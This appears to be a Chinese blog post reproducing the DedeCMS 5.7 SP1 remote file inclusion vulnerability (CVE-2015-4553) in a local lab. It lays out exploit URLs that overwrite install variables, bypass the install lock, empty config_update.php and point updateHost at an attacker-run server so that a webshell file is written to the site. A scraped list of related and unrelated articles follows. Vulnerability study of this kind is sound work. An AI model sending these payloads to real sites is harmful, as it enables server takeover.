DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
一、漏洞描述
该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖,以至于最后引起远程文件包含漏洞。
二、漏洞影响版本
DeDeCMS < 5.7-sp1,包括5.7 sp1版本
三、漏洞环境搭建
1、下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后浏览器访http://192.168.10.171/dedecms/uploads/install/index.php

2、点击我已阅读并继续。然后是环境检测,保存默认即可

3、接下来是参数配置,需要设置的只有数据库密码,把自己的密码填上去就行了

4、然后就把环境搭好了

四、漏洞复现
1、查看/install/index.php源码,发现存在变量覆盖漏洞,该代码的意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入?str=hello,则$_k的值就是str,$_v的值就是hello,所以${$_k}就是$str, 后面的RunMagicQuotes函数在另一个文件中定义的,大致就是对参数进行过滤然后返回参数内容。


2、尝试通过变量覆盖重装网站,浏览器访问

3、变量覆盖后,直接进入安装界面,但是由于安装锁的存在不能继续重新安装,除非删除安装锁http://192.168.10.171/dedecms/uploads/install/index.php?insLockfile=1

4、只有变量覆盖暂时还不够,继续浏览代码,发现最后几行代码

4.1、这段代码首先包含了/data/admin/config_update.php文件, 这里定义了变量updateHost
文件内容如下:

4.2、继续看373-387行代码,$updateHost与dedecms/demodata.{$a_lang}.txt拼接为字符串,并利用files_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name参数中。
4.3、因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。
5、由于$updateHost变量是引入进来的,所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。
5.1、这时候可以利用fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件,而file_get_contents读取文件失败会返回NULL

5.2、然后利用fwrite函数,这里可以利用变量覆盖,将$s_lang随意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,为了程序能够执行到这里,需要将$step设置为11,这样就达到了清空config_update.php的目的。
构造payload: http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php
浏览器访问,提示如下

5.3、查看代码,发现这里有一个判断文件是否存在(也就是判断网站是否安装)的条件,通过变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以绕过这个条件的限制

5.4、再次构造payload:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php

5.5、此时可以看到config_update.php会发现已经变为0kb,空文件

5.6、config_update.php文件内容被清空之后,这时我们就可以控制updateHost参数了,这时我们就可以开始远程文件包含上传我们想要上传的文件了
5.7、在kali上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?> ,然后开启web服务

5.8、再次构造payload, install_demo_name改为要上传的路径,updateHost改为远程目标机的IP
Payload如下:
http://192.168.10.171/dedecms/uploads/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://192.168.10.140/
浏览器访问,出现界面说明写入成功

5.9、查看是否上传成功,确定上传成功

6、浏览器访问上传的shell.php

-------------------------------------------------------------------------------------------
参考: https://www.cnblogs.com/s1ye/p/9108780.html
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)的更多相关文章
- dedecmsv5.7sp1远程文件包含漏洞审计
dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...
- 18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...
- CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 参考文章1 参考文章2 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞. ...
- phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...
- 记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- Vulhub-Phpmyadmin 4.8.1远程文件包含漏洞
前言:Phpmyadmin是一个用PHP编写的免费软件工具,旨在处理Web上的MySQL管理. 该漏洞在index.php中,导致文件包含漏洞 漏洞环境框架搭建: cd vulhub-master/p ...
- php本地及远程文件包含漏洞
在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen onallow_url_include on 但是开启这两个功能之后伴随的是url漏 ...
- dedecms织梦 标签远程文件写入漏洞
测试方法: @Sebug.net dis本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! 前题条件,必须准备好自己的dede数据库,然后插入数据: insert into d ...
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
随机推荐
- 数字IC前后端设计中的时序收敛(四)--Max Capacitance违反的修复方法
本文转自:自己的微信公众号<数字集成电路设计及EDA教程> 里面主要讲解数字IC前端.后端.DFT.低功耗设计以及验证等相关知识,并且讲解了其中用到的各种EDA工具的教程. 考虑到微信公众 ...
- Single Thread Execution设计模式
public class Test { public static void main(String[] args){ // FlightSercurityTest.test(); // EatNoo ...
- Java编程思想:File类getCanonicalFile()方法,listFile()方法
import java.io.IOException; import java.util.*; import java.util.regex.Pattern; import java.io.File; ...
- Netty-新连接接入源码解读
本片博文来看Netty的服务端是如何处理新连接接入问题的 什么是新连接接入?以及新连接接入前,Netty处于什么状态 netty的服务端NioServerSocketChannel初始化,注册在Bos ...
- druid一步到位
版权声明:署名,允许他人基于本文进行创作,且必须基于与原先许可协议相同的许可协议分发本文 (Creative Commons) 在配置application.yml文件的时候,原本写的是MySQL的连 ...
- 【题解】导游-C++
Description 宁波市的中小学生们在镇海中学参加程序设计比赛之余,热情的主办方邀请同学们参观镇海中学内的各处景点,已 知镇海中学内共有n处景点.现在有n位该校的学生志愿承担导游和讲解任务.每个 ...
- windbg 配置符号路径
(转)WINDBG的符号下载与符号路径问题 安装与配置 windbg 的 symbol (符号) 本篇是新手自己写的一点心得.建议新手看看.同时希望前辈多多指教. 写这篇的动机:在网上找了一上午的 w ...
- Java 8 终于支持 Docker!
Java 8曾经与Docker无法很好地兼容性,现在问题已消失. 请注意:我在本文中使用采用GNU GPL v2许可证的OpenJDK官方docker映像.在Oracle Java SE中,这里描述的 ...
- 《VR入门系列教程》之16---第一个OculusVR应用
第一个VR应用 之前我们已经将Oculus的开发包导入到空工程中了,现在我们来构建第一个桌面VR的示例.开发包中已经有一个示例场景,只需要几步就可以让这个场景运行起来.我们将要构建的这个Demo ...
- codemirror使用
JS使用 使用bower下载 bower i codemirror 引入样式文件 <link rel="stylesheet" type="text/css&quo ...